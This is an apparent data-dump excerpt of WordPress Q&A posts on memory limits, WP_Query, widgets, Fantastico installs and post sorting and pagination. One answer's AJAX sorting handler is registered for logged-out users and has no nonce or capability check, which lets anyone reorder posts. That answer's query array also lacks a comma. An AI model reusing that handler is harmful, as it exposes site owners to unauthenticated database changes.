  <row Id="16597" PostTypeId="2" ParentId="16596" CreationDate="2010-11-25T05:53:36.140" Score="0" ViewCount="" Body="&lt;p&gt;Try putting this into your wp config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_MEMORY_LIMIT', '96M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1948" LastActivityDate="2010-11-25T05:53:36.140" />
  <row Id="16598" PostTypeId="2" ParentId="16596" CreationDate="2010-11-25T14:59:48.237" Score="0" ViewCount="" Body="&lt;p&gt;Try increasing the memory for PHP and Wordpress by editing the memory_limit line in your php.ini (if you have access to it) to 64M:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;memory_limit = 64M;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no php.ini, or add this line at the top of .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;php_value memory_limit 64M&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, add this line near the top of your wp-config.php file (right after the opening  &lt;code&gt;&amp;lt;?php&lt;/code&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;define('WP_MEMORY_LIMIT', '64M');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And ask your web host.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-06-06T20:08:14.027" LastActivityDate="2011-06-06T20:08:14.027" />
  <row Id="16599" PostTypeId="2" ParentId="16596" CreationDate="2010-12-07T17:01:44.993" Score="1" ViewCount="" Body="&lt;p&gt;I had a similar issue on my WP site, I think it was actually a plugin causing a problem, quite possibly a caching one... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couple of questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it you are trying to do when the error appears?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What plugins do you have active?&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2010-12-07T17:01:44.993" />
  <row Id="16600" PostTypeId="1" AcceptedAnswerId="16602" CreationDate="2011-05-06T18:48:49.607" Score="1" ViewCount="180" Body="&lt;p&gt;I am getting this error when I try to return the post_title value from my WP_Query: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**Fatal error:** Cannot use object of type WP_Query as array&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = new WP_Query( array( 'meta_key' =&amp;gt; 'Old ID', 'meta_value' =&amp;gt; $atts['oldid'] ) );&#xA;return $query['post_title'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I show the elements of the post after this query? I am using WP_Query because I am making a shortcode to be used within Posts and Pages.&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-05-06T20:40:06.500" Title="What kind of object type is WP_Query?" Tags="&lt;wp-query&gt;&lt;shortcode&gt;&lt;array&gt;" AnswerCount="2" />
  <row Id="16601" PostTypeId="2" ParentId="16588" CreationDate="2011-05-06T18:50:40.307" Score="0" ViewCount="" Body="&lt;p&gt;When assigning capabilities to 'capabilities' argument of &lt;code&gt;register_taxonomy()&lt;/code&gt; you need to assign the capability and not the role! so use capabilities that only a specific role has eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'capabilities' =&amp;gt; array (&#xA;            'manage_terms' =&amp;gt; 'manage-options', //by default only admin&#xA;            'edit_terms' =&amp;gt; 'manage-options',&#xA;            'delete_terms' =&amp;gt; 'manage-options',&#xA;            'assign_terms' =&amp;gt; 'edit_posts'  // means administrator', 'editor', 'author', 'contributor'&#xA;            )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-06T18:50:40.307" CommentCount="1" />
  <row Id="16602" PostTypeId="2" ParentId="16600" CreationDate="2011-05-06T18:57:23.857" Score="3" ViewCount="" Body="&lt;p&gt;I'm not sure you understand the logic of &lt;code&gt;WP_Query&lt;/code&gt;. Rather than explain in words, here's a code example;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = new WP_Query( array( 'meta_key' =&amp;gt; 'Old ID', 'meta_value' =&amp;gt; $atts['oldid'] ) );&#xA;if ( $query-&amp;gt;have_posts() )&#xA;    return $query-&amp;gt;posts[0]-&amp;gt;post_title;&#xA;&#xA;return '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Interacting_with_WP_Query&quot; rel=&quot;nofollow&quot;&gt;the codex on interacting with WP_Query&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: To use the query as you would normally, i.e. &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;The Loop&lt;/a&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( $query-&amp;gt;have_posts() ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;?php while ( $query-&amp;gt;have_posts() ) : $query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php wp_reset_postdata(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-05-06T20:40:06.500" LastActivityDate="2011-05-06T20:40:06.500" CommentCount="6" />
  <row Id="16603" PostTypeId="1" AcceptedAnswerId="16606" CreationDate="2011-05-06T18:57:56.780" Score="0" ViewCount="136" Body="&lt;p&gt;In custom theme development, how does one enable default built-in widgets? Note I mean default built-in widgets, not custom ones. I tried the following example for a WP 3.12 blog by placing it in my theme's functions.php file, trying to activate Pages by default. It didn't work, but I don't know why.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_widget_init(){&#xA;  $asOps = array(&#xA;    'classname' =&amp;gt; 'widget_pages',&#xA;    'description' =&amp;gt; __( &quot;&quot;)&#xA;  );&#xA;  wp_register_sidebar_widget('pages', __('Pages'), 'wp_widget_pages', $asOps);&#xA;}&#xA;&#xA;add_action('widgets_init','mytheme_widget_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: THE SOLUTION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my theme, I needed to re-edit sidebar.php and use this markup instead.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php ?&amp;gt;&#xA;&amp;lt;div id=&quot;sidebar&quot; role=&quot;complementary&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;&#xA;&amp;lt;?php if ( !dynamic_sidebar(1) ) : ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( !is_active_sidebar(1) ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;li id=&quot;search&quot; class=&quot;widget-container widget_search&quot;&amp;gt;&#xA;        &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;li id=&quot;categories&quot; class=&quot;widet-container widget_categories&quot;&amp;gt;&#xA;        &amp;lt;?php wp_list_categories('show_option_none=&amp;amp;title_li=&amp;lt;h2&amp;gt;' . __('Categories') . '&amp;lt;/h2&amp;gt;' ); ?&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;li id=&quot;archives&quot; class=&quot;widget-container widget_archives&quot;&amp;gt;&#xA;        &amp;lt;h2 class=&quot;widget-title&quot;&amp;gt;Archives&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php wp_get_archives( 'type=monthly' ); ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;li id=&quot;pages&quot; class=&quot;widget-container widget_pages&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php wp_list_pages('title_li=&amp;lt;h2&amp;gt;' . __('Pages') . '&amp;lt;/h2&amp;gt;'); ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- sidebar --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditorDisplayName="" LastEditDate="2011-05-06T20:16:00.890" LastActivityDate="2011-05-06T20:16:00.890" Title="Enabling Default Widgets in a Custom Theme" Tags="&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="16604" PostTypeId="2" ParentId="16600" CreationDate="2011-05-06T18:59:54.303" Score="0" ViewCount="" Body="&lt;p&gt;the error you get means that you are using an object as an array, if you want to access an object element use &lt;code&gt;-&amp;gt;&lt;/code&gt; and not &lt;code&gt;[]&lt;/code&gt; so &lt;code&gt;$query-&amp;gt;post_title&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but that wont work either, you need to loop over the post &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ($query-&amp;gt;have_posts()){&#xA;    $query-&amp;gt;the_post();&#xA;    //here you can use the post data with the $post object&#xA;    //$post-&amp;gt;post_title&#xA;    //$post-&amp;gt;content&#xA;    //....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-06T18:59:54.303" />
  <row Id="16605" PostTypeId="2" ParentId="16594" CreationDate="2011-05-06T19:05:14.093" Score="3" ViewCount="" Body="&lt;p&gt;Each YouTube video has 4 generated images. They are predictably formatted as follows &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://img.youtube.com/vi/&amp;lt;insert-youtube-video-id-here&amp;gt;/0.jpg&#xA;http://img.youtube.com/vi/&amp;lt;insert-youtube-video-id-here&amp;gt;/1.jpg&#xA;http://img.youtube.com/vi/&amp;lt;insert-youtube-video-id-here&amp;gt;/2.jpg&#xA;http://img.youtube.com/vi/&amp;lt;insert-youtube-video-id-here&amp;gt;/3.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first one in the list is a full size image and others are thumbnail images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so if you have the video url the you can extract the video id from it call your image, and to do that on posts that are already posted you can use &lt;code&gt;the_content&lt;/code&gt; filter hook.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-06T19:05:14.093" CommentCount="6" />
  <row Id="16606" PostTypeId="2" ParentId="16603" CreationDate="2011-05-06T19:18:54.967" Score="1" ViewCount="" Body="&lt;p&gt;that's not the way, &lt;code&gt;wp_register_sidebar_widget&lt;/code&gt; is used to create widgets.&#xA;if you want your sidebar to display widgets by default use &lt;code&gt;[dynamic_sidebar()][1]&lt;/code&gt; in your theme eg from the 2010 theme: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;primary&quot; class=&quot;widget-area&quot; role=&quot;complementary&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;xoxo&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    /* When we call the dynamic_sidebar() function, it'll spit out&#xA;     * the widgets for that widget area. If it instead returns false,&#xA;     * then the sidebar simply doesn't exist, so we'll hard-code in&#xA;     * some default sidebar stuff just in case.&#xA;     */&#xA;    if ( ! dynamic_sidebar( 'primary-widget-area' ) ) : ?&amp;gt;&#xA;&#xA;            &amp;lt;li id=&quot;search&quot; class=&quot;widget-container widget_search&quot;&amp;gt;&#xA;                &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;            &amp;lt;li id=&quot;archives&quot; class=&quot;widget-container&quot;&amp;gt;&#xA;                &amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;&amp;lt;?php _e( 'Archives', 'twentyten' ); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;?php wp_get_archives( 'type=monthly' ); ?&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;            &amp;lt;li id=&quot;meta&quot; class=&quot;widget-container&quot;&amp;gt;&#xA;                &amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;&amp;lt;?php _e( 'Meta', 'twentyten' ); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;?php wp_register(); ?&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;?php wp_loginout(); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;?php wp_meta(); ?&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; // end primary widget area ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #primary .widget-area --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-06T19:18:54.967" CommentCount="1" />
  <row Id="16607" PostTypeId="2" ParentId="16576" CreationDate="2011-05-06T19:31:05.963" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/quick-shop/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Quick Shop&lt;/strong&gt;&lt;/a&gt; plugin is a WordPress Shopping Cart with both Paypal and Email functionality built-in or use &lt;a href=&quot;http://wordpress.org/extend/plugins/eshop/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Eshop&lt;/strong&gt;&lt;/a&gt; and use &quot;Cash &amp;amp; Bank&quot; payments , Orders placed here are automatically added to the awaiting payment page.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-06T19:31:05.963" />
  <row Id="16608" PostTypeId="1" AcceptedAnswerId="16609" CreationDate="2011-05-06T19:36:12.157" Score="0" ViewCount="64" Body="&lt;p&gt;I am working with someone that has a host (internetplanners.com) that uses fantastico to install WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, my question is has anyone had bad experiences with fantastico or webhost internetplanners.com? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note, I have installed Wordpress on my local machine (Windows) and didn't have any trouble.  I don't have experience installing on a hosting service manually but think I could do it needed.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I wasn't familiar with fantastico one-click install, I did a search and found 2 links about reasons not to use fantastico:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.howtospoter.com/web-20/wordpress/3-reasons-not-to-use-fantastico-for-wordpress&quot; rel=&quot;nofollow&quot;&gt;http://www.howtospoter.com/web-20/wordpress/3-reasons-not-to-use-fantastico-for-wordpress&lt;/a&gt; &#xA;1) simplicity = false security (if upgrade breaks, it can be difficult to fix); 2) upgrade doesn't put in maintenance mode or back up database, 3) upgrade doesn't deactivate plug ins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from &lt;a href=&quot;http://wordpress.org/support/topic/installing-from-justhost&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/installing-from-justhost&lt;/a&gt; :&#xA;I agree with ZGani. Fantastico doesn't upgrade the third party scripts version frequently. So you have to wait for Fantastico upgrade to get latest version of WordPress.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5180" LastActivityDate="2011-05-06T20:51:37.160" Title="Fantastico pros and cons" Tags="&lt;hosting&gt;&lt;installation&gt;" AnswerCount="2" />
  <row Id="16609" PostTypeId="2" ParentId="16608" CreationDate="2011-05-06T19:53:03.247" Score="2" ViewCount="" Body="&lt;p&gt;I always thought that Fantastico essentially just;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Placed a copy of WordPress on your server (not always the latest version, as you say, this is a local copy limited by the update frequency of Fantastico)&lt;/li&gt;&#xA;&lt;li&gt;Set-up a database (and user) automatically&lt;/li&gt;&#xA;&lt;li&gt;Configured &lt;code&gt;wp-config.php&lt;/code&gt; accordingly&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then you'd just continue to use WordPress for maintenance as you would normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past, I've worked on WP sites that were set-up with it, and don't recall any issues updating it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, being a geek, I always run a manual install. Just feels cleaner, plus I know I'm always starting with the latest and greatest version.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-05-06T20:41:03.580" LastActivityDate="2011-05-06T20:41:03.580" />
  <row Id="16610" PostTypeId="2" ParentId="16608" CreationDate="2011-05-06T20:51:37.160" Score="0" ViewCount="" Body="&lt;p&gt;Some hosts bundle a bunch of plugins with their Fantastico installs. Several of them now include Jetpack in the bundle, and occasionally a host will include a bunch of other stuff you probably don't want. Its not a problem to delete the extra junk you don't want after running the install script. And you're under no obligation to use Fantastico to actually manage upgrades - WP core does that just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only bad experience I had with one-click installs was on a host (Network Solutions) who had been seriously hacked. The WordPress install that was built through the one-click process was all kinds of corrupted - had sneaky eval()'d code in it and everything. Wiping the install and uploading a fresh core, and changing db passwords fixed that - but it isn't something I'd want to go through again.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-05-06T20:51:37.160" CommentCount="1" />
  <row Id="16611" PostTypeId="2" ParentId="16342" CreationDate="2011-05-06T21:26:16.990" Score="4" ViewCount="" Body="&lt;p&gt;Brady is correct that the best way to handle saving and displaying of custom post type orders is by using the &lt;code&gt;menu_order&lt;/code&gt; property&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the jquery to make the list sortable and to pass the data via ajax to wordpress:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {        &#xA;    var itemList = $('#sortable');&#xA;&#xA;    itemList.sortable({&#xA;        update: function(event, ui) {&#xA;            $('#loading-animation').show(); // Show the animate loading gif while waiting&#xA;&#xA;            opts = {&#xA;                url: ajaxurl, // ajaxurl is defined by WordPress and points to /wp-admin/admin-ajax.php&#xA;                type: 'POST',&#xA;                async: true,&#xA;                cache: false,&#xA;                dataType: 'json',&#xA;                data:{&#xA;                    action: 'item_sort', // Tell WordPress how to handle this ajax request&#xA;                    order: itemList.sortable('toArray').toString() // Passes ID's of list items in  1,3,2 format&#xA;                },&#xA;                success: function(response) {&#xA;                    $('#loading-animation').hide(); // Hide the loading animation&#xA;                    return; &#xA;                },&#xA;                error: function(xhr,textStatus,e) {  // This can be expanded to provide more information&#xA;                    alert(e);&#xA;                    // alert('There was an error saving the updates');&#xA;                    $('#loading-animation').hide(); // Hide the loading animation&#xA;                    return; &#xA;                }&#xA;            };&#xA;            $.ajax(opts);&#xA;        }&#xA;    }); &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the wordpress function that listens for the ajax callback and performs the changes on the DB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_save_item_order() {&#xA;    global $wpdb;&#xA;&#xA;    $order = explode(',', $_POST['order']);&#xA;    $counter = 0;&#xA;    foreach ($order as $item_id) {&#xA;        $wpdb-&amp;gt;update($wpdb-&amp;gt;posts, array( 'menu_order' =&amp;gt; $counter ), array( 'ID' =&amp;gt; $item_id) );&#xA;        $counter++;&#xA;    }&#xA;    die(1);&#xA;}&#xA;add_action('wp_ajax_item_sort', 'my_save_item_order');&#xA;add_action('wp_ajax_nopriv_item_sort', 'my_save_item_order');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key to displaying the posts in the order you have saved is to add the &lt;code&gt;menu_order&lt;/code&gt; property to the query args:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args= array(&#xA;    'meta_key' =&amp;gt; 'c3m_shown_on',&#xA;    'meta_value'=&amp;gt; 'home'&#xA;    'orderby' =&amp;gt; 'menu_order',&#xA;    'order' =&amp;gt; 'ASC'&#xA;);&#xA;&#xA;$box_query = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then run your loop and output each item... (first line is the core wp loading animation - you'll want to hide it initially via css, and then the jquery function will display when processing)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/wp-admin/images/loading.gif&quot; id=&quot;loading-animation&quot; /&amp;gt;&#xA;&amp;lt;ul id=&quot;sortable&quot;&amp;gt;&#xA;    &amp;lt;li id=&quot;{echo post ID here}&quot;&amp;gt;{echo title or other name here}&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Code inspired by soulsizzle's &lt;a href=&quot;http://soulsizzle.com/jquery/create-an-ajax-sorter-for-wordpress-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;excellent tutorial&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="838" LastEditorUserId="838" LastEditorDisplayName="" LastEditDate="2011-08-29T01:10:19.417" LastActivityDate="2011-08-29T01:10:19.417" CommentCount="3" />
  <row Id="16612" PostTypeId="1" CreationDate="2011-05-06T22:48:54.030" Score="0" ViewCount="83" Body="&lt;p&gt;If I am setting up a multisite WordPress installation, is there a solution that would let me manage ad inventory (multi)site wide? Can I place ads in various zones at various weights or percentages? Is there a way to auto-fill unused inventory? What are the best solutions out there?&lt;/p&gt;&#xA;" OwnerUserId="4721" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-07T23:07:33.843" LastActivityDate="2011-08-06T21:19:58.367" Title="Multisite ad server solution" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="16613" PostTypeId="1" AcceptedAnswerId="16617" CreationDate="2011-05-06T23:18:54.410" Score="0" ViewCount="124" Body="&lt;p&gt;I'm building a site for a magazine using WP and am needing to display a month of posts at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How would I make the next_posts_link(); and previous_posts_link(); functions return results, shorted as one month per page?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can't do it via those functions, how would I make the front page display in an archive-like mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-05-07T00:25:51.717" Title="Making next_posts_link(); return posts by month" Tags="&lt;archive&gt;&lt;next-post-link&gt;&lt;previous-post-link&gt;&lt;date&gt;" AnswerCount="2" />
  <row Id="16614" PostTypeId="1" CreationDate="2011-05-06T23:34:15.970" Score="1" ViewCount="74" Body="&lt;p&gt;I have the latest, version 3.1.2 and have multisite installed. I have debug on true for testing purposes. I get the follow error when I install plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where and how do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error:&#xA;  Notice: has_cap was called with an argument that is deprecated since version 2.0! Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead. in /home/mysite/public_html/wp-includes/functions.php on line 3387&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5182" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-05-07T10:18:54.250" LastActivityDate="2011-09-04T14:42:10.670" Title="Plugins error (Use roles and capabilities instead) on latest version, multisite" Tags="&lt;plugins&gt;&lt;errors&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16615" PostTypeId="2" ParentId="16613" CreationDate="2011-05-06T23:38:37.457" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure if this is what you're looking for; however, this may help out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; foreach (get_the_category() as $cat) {&#xA; $arch_date_id = $cat-&amp;gt;cat_ID;&#xA; }&#xA;&#xA; global $post;&#xA; $query = 'numberposts=-1&amp;amp;category=' . $arch_date_id . '&amp;amp;orderby=date&amp;amp;order=DESC';&#xA; $myposts =  get_posts();&#xA;      foreach($myposts as $post) {&#xA;           $year = get_the_time('Y');&#xA;           $groups[] = $year;&#xA; }&#xA;&#xA; $groups = array_values(array_unique($groups));&#xA; $qi = $groups[0]; &#xA; $query = 'cat=' . $arch_date_id . '&amp;amp;year=' . $qi . '&amp;amp;orderby=date&amp;amp;order=DESC&amp;amp;posts_per_page=-1';&#xA; query_posts($query);&#xA; echo '&amp;lt;h3&amp;gt;' . $qi . '&amp;lt;/h3&amp;gt;';&#xA; while (have_posts()) : the_post();&#xA; ?&amp;gt; &#xA;&amp;lt;? the_date('F j','&amp;lt;h3&amp;gt;','&amp;lt;/h3&amp;gt;');?&amp;gt;&#xA;&amp;lt;? the_title();?&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;? endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5175" LastActivityDate="2011-05-06T23:38:37.457" CommentCount="1" />
  <row Id="16616" PostTypeId="1" CreationDate="2011-05-07T00:17:42.720" Score="0" ViewCount="172" Body="&lt;p&gt;I need a loop/plugin/widget to display latest posts from the category the user is browsing and at the same time if he visits the home page, it should show posts from all categories (not a specific one)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas ???&lt;/p&gt;&#xA;" OwnerUserId="5184" LastActivityDate="2011-09-05T00:42:23.470" Title="Recent posts per category loop?" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;categories&gt;&lt;loop&gt;" AnswerCount="2" />
  <row Id="16617" PostTypeId="2" ParentId="16613" CreationDate="2011-05-07T00:25:51.717" Score="2" ViewCount="" Body="&lt;p&gt;You have to modify the query that selects the posts to select by month. This bit of code placed in the template will get the page number and subtract that from the current month.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$page = get_query_var('paged') ? get_query_var('paged') : 1;&#xA;$subtractor = $page-1;&#xA;$date = date(&quot;Y-m-d H:i:s&quot;);&#xA;$current_month = date('n', strtotime($date.'-'.$subtractor.'months'));&#xA;$current_year = date('Y', strtotime($date.'-'.$subtractor.'months'));&#xA;query_posts(&quot;monthnum=$current_month&amp;amp;year=$current_year&amp;amp;order=DESC&quot;);&#xA;&#xA;if (have_posts()) :&#xA;while (have_posts()) : the_post(); // rest of the loop below&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ultimately this is probably best hooked into pre_get_posts to keep it out of the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd have to make your own pagination links as well, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if($page&amp;gt;1)&#xA;    echo '&amp;lt;a href=&quot;/page/'.($page-1).'/&quot;&amp;gt;next&amp;lt;/a&amp;gt;';&#xA;&#xA;echo '&amp;lt;a href=&quot;/page/'.($page+1).'/&quot;&amp;gt;prev&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;of course, you'd have to figure out how far back the posts go to know when to stop providing a previous month link, hmm...&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-07T00:25:51.717" />
